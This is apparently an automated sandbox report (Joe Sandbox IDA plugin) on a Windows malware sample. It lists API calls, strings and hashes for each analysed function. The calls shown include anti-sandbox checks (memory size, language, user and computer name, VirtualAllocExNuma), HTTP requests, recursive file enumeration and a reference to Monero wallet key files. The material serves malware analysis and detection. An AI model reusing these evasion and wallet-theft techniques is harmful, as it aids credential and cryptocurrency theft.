Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF9128), ref: 0013991B
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FE5E10), ref: 00139933
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FE5D90), ref: 0013994C
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2218), ref: 00139964
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2230), ref: 0013997C
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2338), ref: 00139995
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2380), ref: 001399AD
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FE5E30), ref: 001399C5
Part of subcall function 00139860: GetProcAddress.KERNEL32(74DD0000,00FF2398), ref: 001399DE

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 001211D0: ExitProcess.KERNEL32 ref: 00121211

Part of subcall function 00121160: GetSystemInfo.KERNEL32(?), ref: 0012116A
Part of subcall function 00121160: ExitProcess.KERNEL32 ref: 0012117E

Part of subcall function 00121110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0012112B
Part of subcall function 00121110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00121132
Part of subcall function 00121110: ExitProcess.KERNEL32 ref: 00121143

Part of subcall function 00121220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0012123E
Part of subcall function 00121220: __aulldiv.LIBCMT ref: 00121258
Part of subcall function 00121220: __aulldiv.LIBCMT ref: 00121266
Part of subcall function 00121220: ExitProcess.KERNEL32 ref: 00121294

Part of subcall function 00136770: GetUserDefaultLangID.KERNEL32 ref: 00136774

Part of subcall function 00121190: ExitProcess.KERNEL32 ref: 001211C6

Part of subcall function 00137850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137880
Part of subcall function 00137850: RtlAllocateHeap.NTDLL(00000000), ref: 00137887
Part of subcall function 00137850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013789F

Part of subcall function 001378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137910
Part of subcall function 001378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00137917
Part of subcall function 001378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0013792F

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FF9198,?,0014110C,?,00000000,?,00141110,?,00000000,00140AEF), ref: 00136ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00136AE8
CloseHandle.KERNEL32(00000000), ref: 00136AF9
Sleep.KERNEL32(00001770), ref: 00136B04
CloseHandle.KERNEL32(?,00000000,?,00FF9198,?,0014110C,?,00000000,?,00141110,?,00000000,00140AEF), ref: 00136B1A
ExitProcess.KERNEL32 ref: 00136B22

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: e40e7268f7035c3b20318134e1674e3621ae596cf9283633cb49a53ef8abf238
Instruction ID: 3383cd6d65cac6920b2869dbf17842652e12575b2241996106d8b56cf6132163
Opcode Fuzzy Hash: e40e7268f7035c3b20318134e1674e3621ae596cf9283633cb49a53ef8abf238
Instruction Fuzzy Hash: FB312C71940208BBDB05FBF0DC56BEE7778AF24700F908518F252B6192DFB06A05CBA2

Function 00121220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0012123E
__aulldiv.LIBCMT ref: 00121258
__aulldiv.LIBCMT ref: 00121266
ExitProcess.KERNEL32 ref: 00121294

Strings

@, xrefs: 00121233

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 84f3048af2cc390b565958d990ab7cd8e5de9de882446ea23c319d0f63d03886
Instruction ID: 31fa46fd4e5fc402f28a198e4cfa08a08030b633e4d02772dfe612f2155657de
Opcode Fuzzy Hash: 84f3048af2cc390b565958d990ab7cd8e5de9de882446ea23c319d0f63d03886
Instruction Fuzzy Hash: 97011DB0D44318FAEB10DBE4ED49BAEBB78AB24705F308048F705B62C0D7B455558B99

Function 00136AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FF9198,?,0014110C,?,00000000,?,00141110,?,00000000,00140AEF), ref: 00136ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00136AE8
CloseHandle.KERNEL32(00000000), ref: 00136AF9
Sleep.KERNEL32(00001770), ref: 00136B04
CloseHandle.KERNEL32(?,00000000,?,00FF9198,?,0014110C,?,00000000,?,00141110,?,00000000,00140AEF), ref: 00136B1A
ExitProcess.KERNEL32 ref: 00136B22

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: a742b5645727437cde0d43c0227ec0c295b8649f2a6a5e99fd5a9153ee2a599e
Instruction ID: a5596bbc9c0339a73978337f60cf2fa5bb22aa0307e1a7ee3d63dda9ebe7cdef
Opcode Fuzzy Hash: a742b5645727437cde0d43c0227ec0c295b8649f2a6a5e99fd5a9153ee2a599e
Instruction Fuzzy Hash: 7DF0D470A40219BBE711ABA0DC1ABBEBA78EB14701F10C914F513A61D5DBF05540EAA6

Function 001247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00124839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00124849

Strings

<, xrefs: 001247C9

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: bbe18a6b64efae1d877b92fdfea9ab3acf6475fe30f1a1c5a65a1ca630c1ae2d
Instruction ID: 253fedf34cb0c7430c9f17febb560e5ab47a4fd8cf8be5d29565fa0b09221bb7
Opcode Fuzzy Hash: bbe18a6b64efae1d877b92fdfea9ab3acf6475fe30f1a1c5a65a1ca630c1ae2d
Instruction Fuzzy Hash: 8E214DB1D00209ABDF14DFA4E845ADE7B78FF44320F108625F969A72C1EB706A05CF92

Function 001351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0013A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0013A7E6

Part of subcall function 00126280: InternetOpenA.WININET(00140DFE,00000001,00000000,00000000,00000000), ref: 001262E1
Part of subcall function 00126280: StrCmpCA.SHLWAPI(?,00FFE7D8), ref: 00126303
Part of subcall function 00126280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00126335
Part of subcall function 00126280: HttpOpenRequestA.WININET(00000000,GET,?,00FFE338,00000000,00000000,00400100,00000000), ref: 00126385
Part of subcall function 00126280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001263BF
Part of subcall function 00126280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00135228

Strings

ERROR, xrefs: 0013521A
ERROR, xrefs: 00135273

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: c793f7c4ee09193e316e1f44dca8be6265fc72a14a97ddfaf578c27e8aa22e47
Instruction ID: 8d83b94216ccbabed5cbd3ed538a7aeae1920419d82aacaae602f5dc2eb57580
Opcode Fuzzy Hash: c793f7c4ee09193e316e1f44dca8be6265fc72a14a97ddfaf578c27e8aa22e47
Instruction Fuzzy Hash: 08111231910148BBDB14FF74ED92AED7739AF60300FC04158F85A5B592EF31AB15CA91

Function 001378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137910
RtlAllocateHeap.NTDLL(00000000), ref: 00137917
GetComputerNameA.KERNEL32(?,00000104), ref: 0013792F

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: f224350183e7be5603a122b1e99862ea7198cfd4987cab6405a4df70a482dd9f
Instruction ID: 9140dcc8c5739ed301473ee0128126c76a4c78db7c1f98bf069fc178ed9db50e
Opcode Fuzzy Hash: f224350183e7be5603a122b1e99862ea7198cfd4987cab6405a4df70a482dd9f
Instruction Fuzzy Hash: 010181B1A04608EBD714DF99DD45BAABBBCFB04B35F10421AFA45F7280C37459008BA2

Function 00121110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0012112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00121132
ExitProcess.KERNEL32 ref: 00121143

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7bd441c9996da7c3257481cb81a114f1dfd27ac2a52912b31e6c777125aa928c
Instruction ID: e50794417332e81ba0d084ca16cab0facfd6ded9e8d8c312877d42d6fd822d0c
Opcode Fuzzy Hash: 7bd441c9996da7c3257481cb81a114f1dfd27ac2a52912b31e6c777125aa928c
Instruction Fuzzy Hash: 3DE0E671985308FBE711ABA0AC0AB097A7CEB14B01F104154F709771D0D7F526509A99

Function 001210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001210F7

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1c421bd8f8da481a94df737dfae69165ec29d1fd7962cccdb10140c783ff3785
Instruction ID: 48eba0d768a20eb4d7568c3f18bd81710ebbe4bcd59b063549cf6146834fe06c
Opcode Fuzzy Hash: 1c421bd8f8da481a94df737dfae69165ec29d1fd7962cccdb10140c783ff3785
Instruction Fuzzy Hash: 86F0E271641318BBE714DBA4AC49FAAB7ECE705B15F305448F504E3280D672AE00CBA4

Function 00121190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137910
Part of subcall function 001378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00137917
Part of subcall function 001378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0013792F

Part of subcall function 00137850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137880
Part of subcall function 00137850: RtlAllocateHeap.NTDLL(00000000), ref: 00137887
Part of subcall function 00137850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013789F

ExitProcess.KERNEL32 ref: 001211C6

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 9bdf2a04e1185e7501135741a9c6a23ea3c7b811ac0664166280a452f11c9da7
Instruction ID: 30238aba1440ac1905e5c6760280a6b4710a8a82ed5d3156743dc4c165844f70
Opcode Fuzzy Hash: 9bdf2a04e1185e7501135741a9c6a23ea3c7b811ac0664166280a452f11c9da7
Instruction Fuzzy Hash: 13E012B591430963CA10B3B5BC0AB2A369C5B34345F044825FA49E3152FBA5F8208A66

Non-executed Functions

Function 001338B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001338CC
FindFirstFileA.KERNEL32(?,?), ref: 001338E3
lstrcat.KERNEL32(?,?), ref: 00133935
StrCmpCA.SHLWAPI(?,00140F70), ref: 00133947
StrCmpCA.SHLWAPI(?,00140F74), ref: 0013395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00133C67
FindClose.KERNEL32(000000FF), ref: 00133C7C

Strings

%s\*, xrefs: 001338C0
%s%s, xrefs: 00133AAD
%s\%s, xrefs: 0013397A
%s\%s, xrefs: 00133A6F
%s\%s\%s, xrefs: 00133A4A

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 677925c16722eb82d85a4ccd45eef9cc3d9b765909d32ab58175c9bf4331eabc
Instruction ID: 3d6e61189d7fc2ba31a0cc8d86a0e578b8d143a86c23e63bafc2a329abdbc331
Opcode Fuzzy Hash: 677925c16722eb82d85a4ccd45eef9cc3d9b765909d32ab58175c9bf4331eabc
Instruction Fuzzy Hash: 00A13FB1A00218ABDB25DFA4DC85FEA737DBF58300F048598E61DA6141EB759B84CF62

Function 0012BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

